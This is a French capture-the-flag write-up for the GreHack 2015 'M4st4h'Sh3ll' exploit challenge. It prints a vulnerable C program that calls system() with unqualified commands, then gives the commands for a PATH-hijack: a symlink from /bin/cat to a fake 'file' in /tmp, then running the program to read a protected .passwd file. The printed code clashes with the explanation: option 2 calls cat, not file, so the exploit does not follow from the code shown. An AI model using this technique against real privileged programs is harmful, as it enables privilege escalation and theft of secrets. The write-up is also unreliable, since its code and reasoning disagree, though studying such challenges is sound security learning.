**Exploit 50 - M4st4h'Sh3ll** Voici la première épreuve catégorie "exploit" proposé par l'équipe de la Grehack 2015 Il fallait se connecter en ssh sur un serveur mise à disposition. **Résolution :** Afficher le code source du script cat main.c #include int main(void){ char choice; printf("M4st4h'Sh3ll !\n"); printf("1\t-\tls me I'm famous\n"); printf("2\t-\tfile me I'm famous\n"); printf("3\t-\tstat me I'm famous\n"); choice = fgetc(stdin); switch(choice) { case '1': system("ls -al .passwd"); break; case '2': system("cat .passwd"); break; case '3': system("stat .passwd"); break; } return 0; } Si on l'exécute on voit : {{ :ctf:2015:grehack:main.png?nolink |}} La première option permet de faire un ls -al sur le fichier en question affichant ainsi les permissions La seconde option permet de faire un file sur le fichier .password La dernière option permet de faire un stat sur le fichier .password __Pour résoudre l'épreuve :__ On crée un dossier dans /tmp mkdir /tmp/isileaks On crée un lien symbolique entre le binaire cat et un fichier de notre répertoire /tmp/isileaks\ ln -s /bin/cat /tmp/isileaks/file Nous appelons notre fichier file pour permettre la futur exécution. Nous redéfinissons notre variable d'environnement : PATH=/tmp/isileaks:$PATH Quand le système va essayer d'exécuter un binaire il ira chercher en premier dans notre dossier /tmp/isileaks Il ne nous reste plus qu'a utiliser de nouveau le programme main avec l'option 2 : {{ :ctf:2015:grehack:flagmain.png?nolink |}}